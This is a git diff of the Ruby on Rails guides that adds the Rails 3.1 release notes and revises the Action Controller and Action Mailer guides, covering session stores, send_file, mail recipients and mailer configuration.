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Diffstat (limited to 'railties/guides/source')
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diff --git a/railties/guides/source/3_0_release_notes.textile b/railties/guides/source/3_0_release_notes.textile index fbb684978a..d22c76dd81 100644 --- a/railties/guides/source/3_0_release_notes.textile +++ b/railties/guides/source/3_0_release_notes.textile @@ -59,12 +59,12 @@ The +config.gem+ method is gone and has been replaced by using +bundler+ and a + h4. Upgrade Process -To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/jm/rails_upgrade has been created to automate part of it. +To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it. Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: <shell> -$ ruby script/plugin install git://github.com/jm/rails_upgrade.git +$ ruby script/plugin install git://github.com/rails/rails_upgrade.git </shell> You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile new file mode 100644 index 0000000000..c4da87dc34 --- /dev/null +++ b/railties/guides/source/3_1_release_notes.textile @@ -0,0 +1,431 @@ +h2. Ruby on Rails 3.1 Release Notes + +Highlights in Rails 3.1: + +* Streaming +* Reversible Migrations +* Assets Pipeline +* jQuery as the default JavaScript library + +This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub. + +endprologue. + +h3. Upgrading to Rails 3.1 + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: + +h4. Rails 3.1 requires at least Ruby 1.8.7 + +Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. + +h3. Creating a Rails 3.1 application + +<shell> +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +</shell> + +h4. Vendoring Gems + +Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - "bundler homepage":http://gembundler.com + +h4. Living on the Edge + ++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: + +<shell> +$ rails new myapp --edge +</shell> + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: + +<shell> +$ ruby /path/to/rails/bin/rails new myapp --dev +</shell> + +h3. Rails Architectural Changes + +h4. Assets Pipeline + +The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. + +The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide. + +h4. HTTP Streaming + +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. + +h4. Default JS library is now jQuery + +jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. + +<shell> +$ rails new myapp -j prototype +</shell> + +h4. Identity Map + +Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. + +Rails 3.1 comes with the identity map turned off by default. + +h3. Railties + +* jQuery is the new default JavaScript library. + +* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. + +* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. + +* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified. + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available. + +* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed. + +* Scaffold controller generator creates format block for JSON instead of XML. + +* Active Record logging is directed to STDOUT and shown inline in the console. + +* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol. + +* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing. + +* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack. + +* Added <tt>Rack::Cache</tt> to the default middleware stack. + +* Engines received a major update - You can mount them at any path, enable assets, run generators etc. + +h3. Action Pack + +h4. Action Controller + +* A warning is given out if the CSRF token authenticity cannot be verified. + +* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used. + +* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log. + +* URL parameters which return +nil+ for +to_param+ are now removed from the query string. + +* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>. + +* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). + +* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options. + +* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call. + +<ruby> +class PostsController < ApplicationController + USER_NAME, PASSWORD = "dhh", "secret" + + before_filter :authenticate, :except => [ :index ] + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + + private + def authenticate + authenticate_or_request_with_http_basic do |user_name, password| + user_name == USER_NAME && password == PASSWORD + end + end +end +</ruby> + +..can now be written as + +<ruby> +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end +end +</ruby> + +* Added streaming support, you can enable it with: + +<ruby> +class PostsController < ActionController::Base + stream +end +</ruby> + +You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information. + +* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. + +h4. Action Dispatch + +* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>. + +* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array. + +* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers. + +* Added <tt>Rack::Cache</tt> to the default stack. + +* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack. + +* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>. + +* Template lookup now searches further up in the inheritance chain. + +h4. Action View + +* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>. + +* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>. + +* In place +SafeBuffer+ mutation is prohibited in Rails 3.1. + +* Added HTML5 +button_tag+ helper. + +* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form. + +* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options: + +<plain> +tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) +# => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> +</plain> + +Keys are dasherized. Values are JSON-encoded, except for strings and symbols. + +* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility. + +* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. + +* rhtml and rxml are finally removed as template handlers. + +* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not. + +* The submit form helper does not generate an id "object_name_id" anymore. + +* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>. + +* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper. + +* Allows AM/PM format in datetime selectors. + +* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink + +h3. Active Record + +* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>. +<ruby> +class User < ActiveRecord::Base + self.pluralize_table_names = false +end +</ruby> + +* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. + +<ruby> +class User < ActiveRecord::Base + has_one :account +end + +user.build_account{ |a| a.credit_limit = 100.0 } +</ruby> + +* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. + +* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. + +* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: + +<ruby> +class Post < ActiveRecord::Base + attr_accessible :title + attr_accessible :title, :published_at, :as => :admin +end + +Post.new(params[:post], :as => :admin) +</ruby> + +* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation. + +* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. + +* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. + +* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed. + +* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. + +* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations. + +* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>. + +* limits and offsets are removed from COUNT queries unless both are supplied. +<ruby> +People.limit(1).count # => 'SELECT COUNT(*) FROM people' +People.offset(1).count # => 'SELECT COUNT(*) FROM people' +People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' +</ruby> + +* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. + +* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead. + +* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. + +* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. + +* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. + +* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. + +* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>. + +* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement. + +<ruby> +change_table(:users, :bulk => true) do |t| + t.string :company_name + t.change :birthdate, :datetime +end +</ruby> + +* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used. + +* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations. + +* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method. +<ruby> +class MyMigration < ActiveRecord::Migration + def change + create_table(:horses) do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end +end +</ruby> + +* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down. + +* Migrations now use instance methods rather than class methods: +<ruby> +class FooMigration < ActiveRecord::Migration + def up # Not self.up + ... + end +end +</ruby> + +* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods. + +* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. + +<ruby> +has_many :things, :conditions => 'foo = #{bar}' # before +has_many :things, :conditions => proc { "foo = #{bar}" } # after +</ruby> + +Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within. + +You can have any "normal" conditions inside the proc, so the following will work too: + +<ruby> +has_many :things, :conditions => proc { ["foo = ?", bar] } +</ruby> + +* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. + +* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting. + +<ruby> +# Schema: User(name:string, password_digest:string, password_salt:string) +class User < ActiveRecord::Base + has_secure_password +end +</ruby> + +* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns. + +* Setting the id of a +belongs_to+ object will update the reference to the object. + +* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics. + +* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. + +* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable. + +* The query cache now works with prepared statements. No changes in the applications are required. + +h3. Active Model + +* +attr_accessible+ accepts an option +:as+ to specify a role. + +* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+. + +* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting. + +* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand. + +* Added support for selectively enabling and disabling observers. + +* Alternate <tt>I18n</tt> namespace lookup is no longer supported. + +h3. Active Resource + +* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example, + +<ruby> +class User < ActiveResource::Base + self.format = :xml +end +</ruby> + +h3. Active Support + +* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+. + +* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+. + +* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object. + +* Added <tt>Object#in?</tt> to test if an object is included in another object. + +* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class. + +* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes. + +* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+. + +* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8. + +* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time. + +* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>. + +Deprecations: + +* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library. + +h3. Credits + +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index 073e3bddcf..b34c223b31 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -166,10 +166,10 @@ h3. Session Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: -* CookieStore - Stores everything on the client. -* DRbStore - Stores the data on a DRb server. -* MemCacheStore - Stores the data in a memcache. -* ActiveRecordStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CookieStore - Stores everything on the client. +* ActiveRecord::SessionStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache. +* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). @@ -177,6 +177,8 @@ For most stores this ID is used to look up the session data on the server, e.g. The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. + Read more about session storage in the "Security Guide":security.html. If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file: @@ -684,9 +686,11 @@ end This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. +If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used. + WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. h4. RESTful Downloads @@ -794,7 +798,7 @@ NOTE: Certain exceptions are only rescuable from the +ApplicationController+ cla h3. Force HTTPS protocol -Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reason. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: +Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: <ruby> class DinnerController @@ -813,9 +817,3 @@ end </ruby> Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file. - -h3. Changelog - -* February 17, 2009: Yet another proofread by Xavier Noria. - -* November 4, 2008: First release version by Tore Darell diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index f05d9dcf1c..ad5b848d2c 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -8,7 +8,7 @@ WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not h3. Introduction -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. +Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. h3. Sending Emails @@ -48,10 +48,8 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = "http://example.com/login" - mail(:to => user.email, - :subject => "Welcome to My Awesome Site") + mail(:to => user.email, :subject => "Welcome to My Awesome Site") end - end </ruby> @@ -142,17 +140,17 @@ end This provides a much simpler implementation that does not require the registering of observers and the like. -The method +welcome_email+ returns a Mail::Message object which can then just be told +deliver+ to send itself out. +The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out. NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself. -WARNING: Sending out one email should only take a fraction of a second, if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like delayed job. +WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job. h4. Auto encoding header values Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies. -If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and ActionMailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. +If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library. @@ -213,7 +211,7 @@ NOTE: If you specify an encoding, Mail will assume that your content is already h5. Making Inline Attachments -ActionMailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. +Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. * Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer: @@ -242,32 +240,33 @@ end h5. Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The <tt>to:</tt> key however expects a string so you have join the list of recipients using a comma. +It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. <ruby> - class AdminMailer < ActionMailer::Base - default :to => Admin.all.map(&:email).join(", "), - :from => "notification@example.com" +class AdminMailer < ActionMailer::Base + default :to => Admin.all.map(&:email), + :from => "notification@example.com" - def new_registration(user) - @user = user - mail(:subject => "New User Signup: #{@user.email}") - end + def new_registration(user) + @user = user + mail(:subject => "New User Signup: #{@user.email}") end +end </ruby> +The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively. + h5. Sending Email With Name Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the email address in the format <tt>"Name <email>"</tt>. <ruby> - def welcome_email(user) - @user = user - email_with_name = "#{@user.name} <#{@user.email}>" - mail(:to => email_with_name, - :subject => "Welcome to My Awesome Site") - end +def welcome_email(user) + @user = user + email_with_name = "#{@user.name} <#{@user.email}>" + mail(:to => email_with_name, :subject => "Welcome to My Awesome Site") +end </ruby> h4. Mailer Views @@ -287,9 +286,7 @@ class UserMailer < ActionMailer::Base :subject => "Welcome to My Awesome Site", :template_path => 'notifications', :template_name => 'another') - end end - end </ruby> @@ -404,7 +401,7 @@ Will put the HTML part first, and the plain text part second. h4. Sending Emails with Attachments -Attachments can be added by using the +attachment+ method: +Attachments can be added by using the +attachments+ method: <ruby> class UserMailer < ActionMailer::Base @@ -459,18 +456,18 @@ h3. Action Mailer Configuration The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) -|template_root|Determines the base from which template references will be made.| -|logger|Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.| -|smtp_settings|Allows detailed configuration for :smtp delivery method:<ul><li>:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>:port - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>:domain - If you need to specify a HELO domain, you can do it here.</li><li>:user_name - If your mail server requires authentication, set the username in this setting.</li><li>:password - If your mail server requires authentication, set the password in this setting.</li><li>:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.</li></ul>| -|sendmail_settings|Allows you to override options for the :sendmail delivery method.<ul><li>:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.</li><li>:arguments - The command line arguments to be passed to sendmail. Defaults to -i -t.</li></ul>| -|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.| -|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, :file and :test.| -|perform_deliveries|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| -|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| +|+template_root+|Determines the base from which template references will be made.| +|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.| +|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>| +|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>| +|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.| +|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.| +|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| +|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| h4. Example Action Mailer Configuration -An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file: +An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :sendmail @@ -485,7 +482,7 @@ config.action_mailer.raise_delivery_errors = true h4. Action Mailer Configuration for GMail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :smtp @@ -517,14 +514,10 @@ class UserMailerTest < ActionMailer::TestCase # Test the body of the sent email contains what we expect it to assert_equal [user.email], email.to assert_equal "Welcome to My Awesome Site", email.subject - assert_match /<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded - assert_match /Welcome to example.com, #{user.name}/, email.encoded + assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded) + assert_match(/Welcome to example.com, #{user.name}/, email.encoded) end end </ruby> In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. - -h3. 